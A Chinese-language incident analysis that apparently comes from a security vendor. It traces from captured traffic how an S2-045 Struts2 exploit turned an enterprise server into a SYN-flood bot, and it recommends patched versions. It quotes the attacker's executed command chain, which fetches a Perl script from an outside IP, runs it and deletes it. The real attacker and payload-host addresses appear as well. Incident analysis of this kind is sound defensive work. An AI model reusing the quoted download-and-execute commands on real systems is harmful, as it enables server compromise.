从数据包视角解析新型Struts2漏洞攻击全过程

简介: 本文讲的是从数据包视角解析新型Struts2漏洞攻击全过程,万年漏洞王 Struts2作为世界上最流行的 Java Web 服务器框架之一,已经被炒得沸沸扬扬,其原因是由于 Apache Struts2 的 Jakarta Multipart parser 插件存在远程代码执行漏洞,攻击者可以在使用该插件上传文件时,修改 HTTP 请求头中的 Content-Type 值来触发该漏洞,导致远程执行代码。

本文讲的是从数据包视角解析新型Struts2漏洞攻击全过程,万年漏洞王 Struts2作为世界上最流行的 Java Web 服务器框架之一,已经被炒得沸沸扬扬,其原因是由于 Apache Struts2 的 Jakarta Multipart parser 插件存在远程代码执行漏洞,攻击者可以在使用该插件上传文件时,修改 HTTP 请求头中的 Content-Type 值来触发该漏洞,导致远程执行代码。

image

新的漏洞出现,必然会存在漏洞利用的情况,如果在没有升级和打补丁的情况下已被攻击,即使漏洞得到修复仍有潜在风险,那么如何判断是否已经被攻击了呢?本文通过数据包视角,基于网络回溯分析技术,针对最近新型Struts2漏洞攻击行为典型事件进行深层解析,打破传统思维模式,提供解决未知问题的新思路。

  1. 问题描述

科来针对本次struts2漏洞为用户进行网络安全分析服务,在与某中国500强企业集团公司安全运维人员沟通时了解到该企业互联网出口防火墙CPU利用率持续保持在80%左右,而且涌现出关于内部服务器*.35大量告警日志,防火墙高负载工作导致服务器网络缓慢。由于该服务器上承载着大量公司核心业务,造成了严重影响。

通过在该集团公司内网的核心交换机上的网络回溯分析系,进行7*24小时全流量监控(其工作模式可以简单理解为部署在大型网络环境中的“行车记录仪”),并通过该系统还原事件发生过程,回溯分析可疑流量数据。

  1. 分析过程

防火墙高负载与.35服务器有关,所以重点回溯分析.35地址。问题服务器*.35一天多的时间共产生未知TCP应用流量47.48G,其中与意大利IP 62.149.175.81通讯流量达到44.21GB,行为极为可疑。

image

回溯分析.35与意大利IP会话通讯。两者之间通讯流量平稳(达6Mbps左右),任取一段时间,可以看到.35与62.149.175.81:8080每条TCP会话客户端数据包数、服务器数据包数一致,状态均显示连接被重置,平均包长71字节,综合这些特征,怀疑*.35发动SYN Flood攻击。
image

如下,.35 向62.149.175.81发送SYN,后者快速回复RST的数据包,时间差不足1ms,推测为出口防火墙阻断保护(因为后者位于意大利,所以后者真是返回RST数据包时间差应大于50ms),.35发出的SYN数量极多同时频率极高现象,基本断定*.35发动了SYN Flood攻击。

image

小结:由于*.35发动了SYN Flood攻击,极高频率地发送了大量的SYN包,防火墙对每个SYN包都需要进行处理,严重消耗了出口防火墙性能,影响了正常业务通讯。

为了更深入找到*.35发动SYN Flood的原因,提取了该服务器发动攻击前的流量深入分析。

香港IP 223.255.145.158尝试利用Struts2漏洞攻击(在Content-type: 中插入非法字符串来远程执行命令并尝试执行该脚本,执行完成后删除),执行的脚本信息为:

wget -qO – http://65.254.63.20/.jb | perl ;
cd /tmp ;
curl -O http://65.254.63.20/.jb ;
fetch http://65.254.63.20/.jb ;
perl .jb ;
rm -rf .jb*,即问题服务器向65.254.63.20 get请求.jb文件。
image

进一步分析,我们发现问题服务器*.35确实下载获取到.jb文件。真实脚本为per1,可以看到62.149.175.81(SYN Flood目标IP)及端口8080。综合上文分析,基本上可以判定被黑客(所用IP 223.255.145.158)通过Struts2漏洞攻击入侵后,执行命令向美国IP 65.254.63.20请求下载了.jb文件,并执行了per1脚本SYN Flood攻击62.149.175.81.

image

  1. 分析结论

通过以上分析,我们发现本次安全事件是黑客通过Struts2的S2-045漏洞,远程向问题服务器执行恶意代码,导致服务器主动下载脚本并成为肉鸡实施SYN Flood攻击,科来立即告知该企业相关工作人员并建议尽快修复其漏洞。

  1. 价值

该漏洞影响范围极广,涉及Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10多个版本。黑客可以利用该漏洞通过浏览器在远程服务器上执行任意系统命令,将会对受影响站点造成严重影响,引发数据泄露、网页篡改、植入后门、成为肉鸡等安全事件。可将版本更新至Struts 2.3.32 或者 Struts 2.5.10.1。

本案例中,我们通过全流量分析判定了入侵者对网络及服务器的攻击行为,帮助用户发现网络中存在的安全隐患,掌握黑客攻击的手段,进而快速采取相应的防范措施。

当今企业级客户的业务系统日趋复杂,同时运行实时性要求越来越高,有效提升用户的运维主动性和分析处理问题效率已迫在眉睫。通过网络回溯分析技术可以完整记录网络原始流量,提升对异常网络行为的运行态势感知能力。

原文发布时间为:三月 15, 2017
本文作者:nana
本文来自云栖社区合作伙伴安全牛,了解相关信息可以关注安全牛
原文链接:http://www.aqniu.com/threat-alert/23557.html

相关文章
|
3月前
|
SQL 监控 安全
服务器安全性漏洞和常见攻击方式解析
服务器安全性漏洞和常见攻击方式解析
|
4月前
|
存储 缓存 网络协议
DNS攻击基础
DNS攻击基础
|
4月前
|
缓存 网络协议 安全
常见的DNS记录类型有哪些,常见的DNS攻击方式有哪些,以及怎么防护介绍
常见的DNS记录类型有哪些,常见的DNS攻击方式有哪些,以及怎么防护介绍
|
1月前
|
SQL 安全 网络安全
构筑数字堡垒:网络安全漏洞解析与防御策略
在数字化时代,网络安全已成为维护信息完整性、保障用户隐私和确保商业连续性的关键。本文将深入探讨网络安全领域的核心议题—安全漏洞及其防御机制。通过分析常见网络攻击手段,如SQL注入、跨站脚本攻击(XSS)及拒绝服务(DoS)攻击,揭示其背后的原理与潜在危害。同时,文章将重点介绍加密技术的种类和应用场景,以及如何通过强化安全意识,构建多层次的防御体系来有效预防和应对网络安全威胁。本研究旨在为读者提供一份系统性的网络安全防护指南,帮助个人和组织在不断演变的威胁面前保持警惕,并采取适当的安全措施。
21 2
|
2月前
|
开发框架 安全 中间件
38、中间件漏洞解析-IIS6.0
38、中间件漏洞解析-IIS6.0
15 0
|
2月前
|
域名解析 缓存 网络协议
DNS问题之服务器流量被攻击如何解决
DNS服务器是负责将域名转换为IP地址的服务,它是互联网上实现域名解析的关键基础设施;本合集将探讨DNS服务器的工作原理、配置方法和常见问题处理,帮助用户理解和优化DNS服务的使用。
44 3
|
3月前
|
JSON 安全 JavaScript
深入解析XXS攻击
深入解析XXS攻击
123 2
|
3月前
|
安全 应用服务中间件 PHP
文件上传解析漏洞,以及检测方式的绕过
文件上传解析漏洞,以及检测方式的绕过
|
4月前
|
监控 安全 网络安全
深度解析:DDoS攻击与先进防御策略
DDoS 介绍 DDoS(分布式拒绝服务)攻击是一种恶意网络活动,旨在通过同时向目标系统发送大量请求或流量,使其无法正常运行或提供服务。攻击者通常利用网络上的多个计算机和设备,形成一个"僵尸网络"或"僵尸军团",并协调这些设备以集中地向目标发动攻击。 DDoS 攻击理论 目标系统(Target System):DDoS攻击的目标是一个网络服务、网站、服务器或应用程序,攻击旨在使其无法正常运行,从而造成服务中断。 攻击者(Attackers):攻击者是发起DDoS攻击的个人、组织或恶意软件的开发者。他们试图通过制造大量的流量来超过目标系统的处理能力。
114 0
|
6月前
|
编解码 网络协议
Google-CTF-2016-Stego.pcap数据包解析
Google-CTF-2016-Stego.pcap数据包解析
27 0

推荐镜像

更多